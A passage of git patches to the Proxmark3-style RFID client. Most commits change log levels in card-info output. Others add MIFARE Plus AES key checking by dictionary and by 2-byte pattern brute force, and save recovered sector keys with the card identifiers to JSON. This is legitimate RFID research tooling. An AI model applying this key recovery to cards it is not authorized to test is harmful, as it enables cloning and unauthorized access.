Sat, 30 Nov 2019 20:02:02 +0100 Subject: [PATCH 033/418] textual --- client/cmdhf15.c | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/client/cmdhf15.c b/client/cmdhf15.c index eed6bf3d7..999c10e1f 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -1203,8 +1203,7 @@ static int CmdHF15Dump(const char *Cmd) { DropField(); - PrintAndLogEx(NORMAL, "\n"); - + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "block# | data |lck| ascii"); PrintAndLogEx(NORMAL, "---------+--------------+---+----------"); for (int i = 0; i < blocknum; i++) { @@ -1305,8 +1304,8 @@ static int CmdHF15Raw(const char *Cmd) { if (reply) { if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { uint8_t len = resp.oldarg[0]; - PrintAndLogEx(NORMAL, "received %i octets", len); - PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.data.asBytes, len)); + PrintAndLogEx(INFO, "received %i octets", len); + PrintAndLogEx(SUCCESS, "%s", sprint_hex(resp.data.asBytes, len)); } else { PrintAndLogEx(WARNING, "timeout while waiting for reply."); } @@ -1443,7 +1442,7 @@ static int CmdHF15Read(const char *Cmd) { SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { - PrintAndLogEx(NORMAL, "iso15693 card select failed"); + PrintAndLogEx(ERR, "iso15693 card select failed"); DropField(); return PM3_ETIMEOUT; } @@ -1452,14 +1451,14 @@ static int CmdHF15Read(const char *Cmd) { uint32_t status = resp.oldarg[0]; if (status < 2) { - PrintAndLogEx(NORMAL, "iso15693 card select failed"); + PrintAndLogEx(ERR, "iso15693 card select failed"); return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (!CheckCrc15(recv, status)) { - PrintAndLogEx(NORMAL, "CRC failed"); + PrintAndLogEx(ERR, "CRC failed"); return PM3_ESOFT; } @@ -1817,7 +1816,7 @@ bool readHF15Uid(bool verbose) { return false; } - PrintAndLogEx(NORMAL, " UID : %s", sprintUID(NULL, uid)); - PrintAndLogEx(NORMAL, " TYPE : %s", getTagInfo_15(uid)); + PrintAndLogEx(SUCCESS, " UID : %s", sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, " TYPE : %s", getTagInfo_15(uid)); return true; } From 6166849382de01c9f107e355e9328ed59ffa69c6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 30 Nov 2019 20:04:37 +0100 Subject: [PATCH 034/418] textual --- client/cmdhf15.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 999c10e1f..25fc00264 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -1815,7 +1815,7 @@ bool readHF15Uid(bool verbose) { if (verbose) PrintAndLogEx(WARNING, "No tag found."); return false; } - + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, " UID : %s", sprintUID(NULL, uid)); PrintAndLogEx(SUCCESS, " TYPE : %s", getTagInfo_15(uid)); return true; From 1a052b26078fc3b993d541e9c10fca0b4bf79a74 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 30 Nov 2019 20:15:50 +0100 Subject: [PATCH 035/418] textual --- client/cmdhf14a.c | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 777b7d25c..b5eb8c28b 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -256,20 +256,20 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card) { } if (select_status == 3) { - PrintAndLogEx(NORMAL, "E->Card doesn't support standard iso14443-3 anticollision"); - PrintAndLogEx(NORMAL, "\tATQA : %02x %02x", card->atqa[1], card->atqa[0]); + PrintAndLogEx(INFO, "E->Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(SUCCESS, "\tATQA : %02x %02x", card->atqa[1], card->atqa[0]); return 1; } - PrintAndLogEx(NORMAL, " UID: %s", sprint_hex(card->uid, card->uidlen)); - PrintAndLogEx(NORMAL, "ATQA: %02x %02x", card->atqa[1], card->atqa[0]); - PrintAndLogEx(NORMAL, " SAK: %02x [%" PRIu64 "]", card->sak, resp.oldarg[0]); + PrintAndLogEx(SUCCESS, " UID: %s", sprint_hex(card->uid, card->uidlen)); + PrintAndLogEx(SUCCESS, "ATQA: %02x %02x", card->atqa[1], card->atqa[0]); + PrintAndLogEx(SUCCESS, " SAK: %02x [%" PRIu64 "]", card->sak, resp.oldarg[0]); if (card->ats_len < 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes - PrintAndLogEx(NORMAL, "E-> Error ATS length(%d) : %s", card->ats_len, sprint_hex(card->ats, card->ats_len)); + PrintAndLogEx(INFO, "E-> Error ATS length(%d) : %s", card->ats_len, sprint_hex(card->ats, card->ats_len)); return 1; } - PrintAndLogEx(NORMAL, " ATS: %s", sprint_hex(card->ats, card->ats_len)); + PrintAndLogEx(SUCCESS, " ATS: %s", sprint_hex(card->ats, card->ats_len)); return 0; } @@ -334,18 +334,18 @@ static int CmdHF14AReader(const char *Cmd) { } if (select_status == 3) { - PrintAndLogEx(NORMAL, "Card doesn't support standard iso14443-3 anticollision"); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); DropField(); return 1; } - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); - PrintAndLogEx(NORMAL, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); + PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(SUCCESS, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); if (card.ats_len >= 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes - PrintAndLogEx(NORMAL, " ATS : %s", sprint_hex(card.ats, card.ats_len)); + PrintAndLogEx(SUCCESS, " ATS : %s", sprint_hex(card.ats, card.ats_len)); } if (!disconnectAfter) { @@ -422,7 +422,7 @@ static int CmdHF14ACUIDs(const char *Cmd) { for (uint16_t m = 0; m < card->uidlen; m++) { sprintf(&uid_string[2 * m], "%02X", card->uid[m]); } - PrintAndLogEx(NORMAL, "%s", uid_string); + PrintAndLogEx(SUCCESS, "%s", uid_string); } } PrintAndLogEx(SUCCESS, "end: %" PRIu64 " seconds", (msclock() - t1) / 1000); @@ -528,9 +528,9 @@ int CmdHF14ASim(const char *Cmd) { if (keypress && (flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) { // inform device to break the sim loop since client has exited - SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); } - + if (resp.status == PM3_EOPABORTED && ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK)) showSectorTable(); From 5fa2eb9db8d62104a79881b80bedd1feb2dc1bc2 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 30 Nov 2019 22:25:53 +0100 Subject: [PATCH 036/418] textual --- client/cmdhf14a.c | 98 +++++++++++++++++++++++------------------------ 1 file changed, 49 insertions(+), 49 deletions(-) diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index b5eb8c28b..c8f8093d6 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -1274,15 +1274,15 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } if (select_status == 3) { - PrintAndLogEx(NORMAL, "Card doesn't support standard iso14443-3 anticollision"); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); DropField(); return select_status; } - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); - PrintAndLogEx(NORMAL, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); + PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(SUCCESS, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); bool isMifareClassic = true; switch (card.sak) { @@ -1296,7 +1296,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (tagT != UL_ERROR) ul_print_type(tagT, 0); else - PrintAndLogEx(NORMAL, "TYPE: Possible AZTEK (iso14443a compliant)"); + PrintAndLogEx(SUCCESS, "TYPE: Possible AZTEK (iso14443a compliant)"); // reconnect for further tests clearCommandBuffer(); @@ -1313,49 +1313,49 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } break; case 0x01: - PrintAndLogEx(NORMAL, "TYPE : NXP TNP3xxx Activision Game Appliance"); + PrintAndLogEx(SUCCESS, "TYPE : NXP TNP3xxx Activision Game Appliance"); break; case 0x04: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE (various !DESFire !DESFire EV1)"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE (various !DESFire !DESFire EV1)"); isMifareClassic = false; break; case 0x08: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1"); break; case 0x09: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Mini 0.3k"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Mini 0.3k"); break; case 0x0A: - PrintAndLogEx(NORMAL, "TYPE : FM11RF005SH (Shanghai Metro)"); + PrintAndLogEx(SUCCESS, "TYPE : FM11RF005SH (Shanghai Metro)"); break; case 0x10: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Plus 2k SL2"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Plus 2k SL2"); break; case 0x11: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Plus 4k SL2"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Plus 4k SL2"); break; case 0x18: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Classic 4k | Plus 4k SL1 | 4k Ev1"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Classic 4k | Plus 4k SL1 | 4k Ev1"); break; case 0x20: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE DESFire 4k | DESFire EV1 2k/4k/8k | Plus 2k/4k SL3 | JCOP 31/41"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE DESFire 4k | DESFire EV1 2k/4k/8k | Plus 2k/4k SL3 | JCOP 31/41"); isMifareClassic = false; break; case 0x24: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE DESFire | DESFire EV1"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE DESFire | DESFire EV1"); isMifareClassic = false; break; case 0x28: - PrintAndLogEx(NORMAL, "TYPE : JCOP31 or JCOP41 v2.3.1"); + PrintAndLogEx(SUCCESS, "TYPE : JCOP31 or JCOP41 v2.3.1"); break; case 0x38: - PrintAndLogEx(NORMAL, "TYPE : Nokia 6212 or 6131 MIFARE CLASSIC 4K"); + PrintAndLogEx(SUCCESS, "TYPE : Nokia 6212 or 6131 MIFARE CLASSIC 4K"); break; case 0x88: - PrintAndLogEx(NORMAL, "TYPE : Infineon MIFARE CLASSIC 1K"); + PrintAndLogEx(SUCCESS, "TYPE : Infineon MIFARE CLASSIC 1K"); break; case 0x98: - PrintAndLogEx(NORMAL, "TYPE : Gemplus MPCOS"); + PrintAndLogEx(SUCCESS, "TYPE : Gemplus MPCOS"); break; default: ; @@ -1363,7 +1363,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { // Double & triple sized UID, can be mapped to a manufacturer. if (card.uidlen > 4) { - PrintAndLogEx(NORMAL, "MANUFACTURER : %s", getTagInfo(card.uid[0])); + PrintAndLogEx(SUCCESS, "MANUFACTURER : %s", getTagInfo(card.uid[0])); } // try to request ATS even if tag claims not to support it @@ -1382,12 +1382,12 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { int pos; if (select_status == 2) { - PrintAndLogEx(NORMAL, "SAK incorrectly claims that card doesn't support RATS"); + PrintAndLogEx(INFO, "SAK incorrectly claims that card doesn't support RATS"); } - PrintAndLogEx(NORMAL, " ATS : %s", sprint_hex(card.ats, card.ats_len)); - PrintAndLogEx(NORMAL, " - TL : length is %d bytes", card.ats[0]); + PrintAndLogEx(SUCCESS, " ATS : %s", sprint_hex(card.ats, card.ats_len)); + PrintAndLogEx(SUCCESS, " - TL : length is %d bytes", card.ats[0]); if (card.ats[0] != card.ats_len - 2) { - PrintAndLogEx(NORMAL, "ATS may be corrupted. Length of ATS (%d bytes incl. 2 Bytes CRC) doesn't match TL", card.ats_len); + PrintAndLogEx(SUCCESS, "ATS may be corrupted. Length of ATS (%d bytes incl. 2 Bytes CRC) doesn't match TL", card.ats_len); } if (card.ats[0] > 1) { // there is a format byte (T0) @@ -1396,7 +1396,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { tc1 = (card.ats[1] & 0x40) == 0x40; int16_t fsci = card.ats[1] & 0x0f; - PrintAndLogEx(NORMAL, " - T0 : TA1 is%s present, TB1 is%s present, " + PrintAndLogEx(SUCCESS, " - T0 : TA1 is%s present, TB1 is%s present, " "TC1 is%s present, FSCI is %d (FSC = %d)", (ta1 ? "" : " NOT"), (tb1 ? "" : " NOT"), @@ -1417,7 +1417,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (card.ats[pos] & 0x04) strcat(dr, "8, "); if (strlen(ds) != 0) ds[strlen(ds) - 2] = '\0'; if (strlen(dr) != 0) dr[strlen(dr) - 2] = '\0'; - PrintAndLogEx(NORMAL, " - TA1 : different divisors are%s supported, " + PrintAndLogEx(SUCCESS, " - TA1 : different divisors are%s supported, " "DR: [%s], DS: [%s]", ((card.ats[pos] & 0x80) ? " NOT" : ""), dr, @@ -1429,7 +1429,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (tb1) { uint32_t sfgi = card.ats[pos] & 0x0F; uint32_t fwi = card.ats[pos] >> 4; - PrintAndLogEx(NORMAL, " - TB1 : SFGI = %d (SFGT = %s%d/fc), FWI = %d (FWT = %d/fc)", + PrintAndLogEx(SUCCESS, " - TB1 : SFGI = %d (SFGT = %s%d/fc), FWI = %d (FWT = %d/fc)", (sfgi), sfgi ? "" : "(not needed) ", sfgi ? (1 << 12) << sfgi : 0, @@ -1439,7 +1439,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { pos++; } if (tc1) { - PrintAndLogEx(NORMAL, " - TC1 : NAD is%s supported, CID is%s supported", + PrintAndLogEx(SUCCESS, " - TC1 : NAD is%s supported, CID is%s supported", (card.ats[pos] & 0x01) ? "" : " NOT", (card.ats[pos] & 0x02) ? "" : " NOT"); pos++; @@ -1453,63 +1453,63 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { tip = "-> MIFARE Plus S 2K or 4K"; } } - PrintAndLogEx(NORMAL, " - HB : %s%s", sprint_hex(card.ats + pos, card.ats[0] - pos), tip); + PrintAndLogEx(SUCCESS, " - HB : %s%s", sprint_hex(card.ats + pos, card.ats[0] - pos), tip); if (card.ats[pos] == 0xC1) { - PrintAndLogEx(NORMAL, " c1 -> Mifare or (multiple) virtual cards of various type"); - PrintAndLogEx(NORMAL, " %02x -> Length is %d bytes", card.ats[pos + 1], card.ats[pos + 1]); + PrintAndLogEx(SUCCESS, " c1 -> Mifare or (multiple) virtual cards of various type"); + PrintAndLogEx(SUCCESS, " %02x -> Length is %d bytes", card.ats[pos + 1], card.ats[pos + 1]); switch (card.ats[pos + 2] & 0xf0) { case 0x10: - PrintAndLogEx(NORMAL, " 1x -> MIFARE DESFire"); + PrintAndLogEx(SUCCESS, " 1x -> MIFARE DESFire"); break; case 0x20: - PrintAndLogEx(NORMAL, " 2x -> MIFARE Plus"); + PrintAndLogEx(SUCCESS, " 2x -> MIFARE Plus"); break; } switch (card.ats[pos + 2] & 0x0f) { case 0x00: - PrintAndLogEx(NORMAL, " x0 -> <1 kByte"); + PrintAndLogEx(SUCCESS, " x0 -> <1 kByte"); break; case 0x01: - PrintAndLogEx(NORMAL, " x1 -> 1 kByte"); + PrintAndLogEx(SUCCESS, " x1 -> 1 kByte"); break; case 0x02: - PrintAndLogEx(NORMAL, " x2 -> 2 kByte"); + PrintAndLogEx(SUCCESS, " x2 -> 2 kByte"); break; case 0x03: - PrintAndLogEx(NORMAL, " x3 -> 4 kByte"); + PrintAndLogEx(SUCCESS, " x3 -> 4 kByte"); break; case 0x04: - PrintAndLogEx(NORMAL, " x4 -> 8 kByte"); + PrintAndLogEx(SUCCESS, " x4 -> 8 kByte"); break; } switch (card.ats[pos + 3] & 0xf0) { case 0x00: - PrintAndLogEx(NORMAL, " 0x -> Engineering sample"); + PrintAndLogEx(SUCCESS, " 0x -> Engineering sample"); break; case 0x20: - PrintAndLogEx(NORMAL, " 2x -> Released"); + PrintAndLogEx(SUCCESS, " 2x -> Released"); break; } switch (card.ats[pos + 3] & 0x0f) { case 0x00: - PrintAndLogEx(NORMAL, " x0 -> Generation 1"); + PrintAndLogEx(SUCCESS, " x0 -> Generation 1"); break; case 0x01: - PrintAndLogEx(NORMAL, " x1 -> Generation 2"); + PrintAndLogEx(SUCCESS, " x1 -> Generation 2"); break; case 0x02: - PrintAndLogEx(NORMAL, " x2 -> Generation 3"); + PrintAndLogEx(SUCCESS, " x2 -> Generation 3"); break; } switch (card.ats[pos + 4] & 0x0f) { case 0x00: - PrintAndLogEx(NORMAL, " x0 -> Only VCSL supported"); + PrintAndLogEx(SUCCESS, " x0 -> Only VCSL supported"); break; case 0x01: - PrintAndLogEx(NORMAL, " x1 -> VCS, VCSL, and SVC supported"); + PrintAndLogEx(SUCCESS, " x1 -> VCS, VCSL, and SVC supported"); break; case 0x0E: - PrintAndLogEx(NORMAL, " xE -> no VCS command supported"); + PrintAndLogEx(SUCCESS, " xE -> no VCS command supported"); break; } } @@ -1552,9 +1552,9 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (sw == 0x9000 || sw == 0x6283 || sw == 0x6285) { if (sw == 0x9000) { - if (verbose) PrintAndLogEx(NORMAL, "------------- Application OK -----------"); + if (verbose) PrintAndLogEx(SUCCESS, "------------- Application OK -----------"); } else { - if (verbose) PrintAndLogEx(NORMAL, "----------- Application blocked --------"); + if (verbose) PrintAndLogEx(WARNING, "----------- Application blocked --------"); } PrintAIDDescriptionBuf(root, vaid, vaidlen, verbose); From 34e38c9dc5449fa2a20fbe020560c135e53a24c6 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 30 Nov 2019 23:45:51 +0200 Subject: [PATCH 037/418] added json save mfp --- client/fileutils.c | 30 ++++++++++++++++++++++++++++++ client/fileutils.h | 1 + 2 files changed, 31 insertions(+) diff --git a/client/fileutils.c b/client/fileutils.c index ebdb662ca..092e0fb66 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -352,6 +352,36 @@ int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, s case jsf15: case jsfLegic: case jsfT5555: + case jsfMfPlusKeys: + JsonSaveStr(root, "FileType", "mfp"); + + JsonSaveBufAsHexCompact(root, "$.Card.UID", &data[0], 7); + JsonSaveBufAsHexCompact(root, "$.Card.SAK", &data[10], 1); + JsonSaveBufAsHexCompact(root, "$.Card.ATQA", &data[11], 2); + uint8_t atslen = data[13]; + if (atslen > 0) + JsonSaveBufAsHexCompact(root, "$.Card.ATS", &data[14], atslen); + + uint8_t vdata[2][64][16 + 1] = {0}; + memcpy(vdata, &data[14 + atslen], 2 * 64 * 17); + + for (size_t i = 0; i < datalen; i++) { + char path[PATH_MAX_LENGTH] = {0}; + + if (vdata[0][i][0]) { + memset(path, 0x00, sizeof(path)); + sprintf(path, "$.SectorKeys.%d.KeyA", mfSectorNum(i)); + JsonSaveBufAsHexCompact(root, path, &vdata[0][i][1], 16); + } + + if (vdata[1][i][0]) { + memset(path, 0x00, sizeof(path)); + sprintf(path, "$.SectorKeys.%d.KeyB", mfSectorNum(i)); + JsonSaveBufAsHexCompact(root, path, &vdata[1][i][1], 16); + } + + } + break; default: break; } diff --git a/client/fileutils.h b/client/fileutils.h index eb4b57c82..bfd418a2c 100644 --- a/client/fileutils.h +++ b/client/fileutils.h @@ -61,6 +61,7 @@ typedef enum { jsfLegic, jsfT55x7, jsfT5555, + jsfMfPlusKeys, } JSONFileType; typedef enum { From 0cb7637e1f9acc127c7ff46d419103a54f10d6a6 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 30 Nov 2019 23:46:37 +0200 Subject: [PATCH 038/418] added save keys to json for mfp check --- client/cmdhf14a.h | 4 +- client/cmdhfmfp.c | 122 ++++++++++++++++++++++++++++++++++++++-------- 2 files changed, 105 insertions(+), 21 deletions(-) diff --git a/client/cmdhf14a.h b/client/cmdhf14a.h index f40ea46f0..83fb2c69d 100644 --- a/client/cmdhf14a.h +++ b/client/cmdhf14a.h @@ -1,7 +1,7 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh -// 2011, Merlok -// 2015,216,2017 iceman, marshmellow, piwi +// 2011,2019 Merlok +// 2015,2016,2017 iceman, marshmellow, piwi // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index 3d1f41b8f..6a7a7e411 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -26,6 +26,7 @@ #include "emv/dump.h" #include "mifare/mifaredefault.h" #include "util_posix.h" +#include "fileutils.h" static const uint8_t DefaultKey[16] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; @@ -705,6 +706,21 @@ static int CmdHFMFPWrbl(const char *cmd) { return PM3_SUCCESS; } +void Fill2bPattern(uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t *keyListLen, uint32_t *startPattern) { + for (uint32_t pt = *startPattern; pt < 0x10000; pt++) { + keyList[*keyListLen][0] = (pt >> 8) & 0xff; + keyList[*keyListLen][1] = pt & 0xff; + memcpy(&keyList[*keyListLen][2], &keyList[*keyListLen][0], 2); + memcpy(&keyList[*keyListLen][4], &keyList[*keyListLen][0], 4); + memcpy(&keyList[*keyListLen][8], &keyList[*keyListLen][0], 8); + (*keyListLen)++; + *startPattern = pt; + if (*keyListLen == MAX_KEYS_LIST_LEN) + break; + } + (*startPattern)++; +} + static int CmdHFMFPChk(const char *cmd) { int res; uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {0}; @@ -722,11 +738,12 @@ static int CmdHFMFPChk(const char *cmd) { arg_lit0("bB", "keyb", "check only key B (by default check all keys)."), arg_int0("sS", "startsec", "Start sector Num (0..255)", NULL), arg_int0("eE", "endsec", "End sector Num (0..255)", NULL), - arg_str0("kK", "key", "", NULL), - arg_str0(NULL, NULL, "", NULL), + arg_str0("kK", "key", "", "Key for checking (HEX 16 bytes)"), + arg_str0("dD", "dict", "", "file with keys dictionary"), arg_lit0(NULL, "pattern1b", "check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)"), arg_lit0(NULL, "pattern2b", "check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)"), - arg_str0(NULL, "startp2b", " start pattern for 2-byte search key", NULL), + arg_str0(NULL, "startp2b", "", "Start key (2-byte HEX) for 2-byte search (use with `--pattern2b`)"), + arg_str0("jJ", "json", "", "json file to save keys"), arg_param_end }; CLIExecWithReturn(cmd, argtable, true); @@ -745,19 +762,47 @@ static int CmdHFMFPChk(const char *cmd) { keyListLen++; } else { PrintAndLogEx(ERROR, "Specified key must have 16 bytes length."); + CLIParserFree(); return PM3_EINVARG; } } + uint8_t dict_filename[FILE_PATH_SIZE + 2] = {0}; + int dict_filenamelen = 0; + if (CLIParamStrToBuf(arg_get_str(6), dict_filename, FILE_PATH_SIZE, &dict_filenamelen)) { + PrintAndLogEx(FAILED, "File name too long or invalid."); + CLIParserFree(); + return PM3_EINVARG; + } + +/* char *dict_path; + int res = searchFile(&dict_path, DICTIONARIES_SUBDIR, filename, ".dic", false); + if (res != PM3_SUCCESS) { + CLIParserFree(); + return PM3_EFILE; + } + f = fopen(dict_path, "r"); + if (!f) { + PrintAndLogEx(FAILED, "File: " _YELLOW_("%s") ": not found or locked.", dict_path); + free(dict_path); + CLIParserFree(); + return PM3_EFILE; + } + free(dict_path); + + + */ + bool pattern1b = arg_get_lit(7); bool pattern2b = arg_get_lit(8); if (pattern1b && pattern2b) { PrintAndLogEx(ERROR, "Pattern search mode must be 2-byte or 1-byte only."); + CLIParserFree(); return PM3_EINVARG; } - uint16_t startPattern = 0x0000; + uint32_t startPattern = 0x0000; uint8_t vpattern[2]; int vpatternlen = 0; CLIGetHexWithReturn(9, vpattern, &vpatternlen); @@ -766,12 +811,22 @@ static int CmdHFMFPChk(const char *cmd) { startPattern = (vpattern[0] << 8) + vpattern[1]; } else { PrintAndLogEx(ERROR, "Pattern must be 2-byte length."); + CLIParserFree(); return PM3_EINVARG; } if (!pattern2b) PrintAndLogEx(WARNING, "Pattern entered, but search mode not is 2-byte search."); } + uint8_t jsonname[250] = {0}; + int jsonnamelen = 0; + if (CLIParamStrToBuf(arg_get_str(10), jsonname, sizeof(jsonname), &jsonnamelen)) { + PrintAndLogEx(ERROR, "Invalid json name."); + CLIParserFree(); + return PM3_EINVARG; + } + jsonname[jsonnamelen] = 0; + CLIParserFree(); uint8_t startKeyAB = 0; @@ -791,19 +846,8 @@ static int CmdHFMFPChk(const char *cmd) { keyListLen = 0x100; } - if (pattern2b) { - for (uint32_t i = startPattern; i < 0x10000; i++) { - keyList[keyListLen][0] = (i >> 8) & 0xff; - keyList[keyListLen][1] = i & 0xff; - memcpy(&keyList[keyListLen][2], &keyList[keyListLen][0], 2); - memcpy(&keyList[keyListLen][4], &keyList[keyListLen][0], 4); - memcpy(&keyList[keyListLen][8], &keyList[keyListLen][0], 8); - keyListLen++; - if (keyListLen == MAX_KEYS_LIST_LEN) - break; - } - startPattern = (keyList[keyListLen - 1][0] << 8) + keyList[keyListLen - 1][1]; - } + if (pattern2b) + Fill2bPattern(keyList, &keyListLen, &startPattern); if (keyListLen == 0) { for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { @@ -822,8 +866,18 @@ static int CmdHFMFPChk(const char *cmd) { return PM3_EINVARG; } - res = MFPKeyCheck(startSector, endSector, startKeyAB, endKeyAB, keyList, keyListLen, foundKeys); - printf("--- res: %d\n", res); + while (true) { + res = MFPKeyCheck(startSector, endSector, startKeyAB, endKeyAB, keyList, keyListLen, foundKeys); + printf("--- res: %d\n", res); + if (res == PM3_EOPABORTED) + break; + if (pattern2b && startPattern < 0x10000) { + keyListLen = 0; + Fill2bPattern(keyList, &keyListLen, &startPattern); + continue; + } + break; + } // print result bool printedHeader = false; @@ -847,6 +901,36 @@ static int CmdHFMFPChk(const char *cmd) { else PrintAndLogEx(INFO, "'------'--------------------------------'--------------------------------'\n"); + // save keys to json + if ((jsonnamelen > 0) && printedHeader) { + // Mifare Plus info + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); + + PacketResponseNG resp; + WaitForResponse(CMD_ACK, &resp); + + iso14a_card_select_t card; + memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); + + uint64_t select_status = resp.oldarg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS, 3: proprietary Anticollision + + uint8_t data[10 + 1 + 2 + 1 + 256 + 2 * 64 * (AES_KEY_LEN + 1)] = {0}; + uint8_t atslen = 0; + if (select_status == 1 || select_status == 2) { + memcpy(data, card.uid, card.uidlen); + data[10] = card.sak; + data[11] = card.atqa[1]; + data[12] = card.atqa[0]; + atslen = card.ats_len; + data[13] = atslen; + memcpy(&data[14], card.ats, atslen); + } + + // length: UID(10b)+SAK(1b)+ATQA(2b)+ATSlen(1b)+ATS(atslen)+foundKeys[2][64][AES_KEY_LEN + 1] + memcpy(&data[14 + atslen], foundKeys, 2 * 64 * (AES_KEY_LEN + 1)); + saveFileJSON((char *)jsonname, jsfMfPlusKeys, data, 64); + } + return PM3_SUCCESS; } From de52ebc3d54562c47ebc4baf37047bd781c16e72 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 00:30:35 +0200 Subject: [PATCH 039/418] 1dd 16 byte key for dictionaries --- 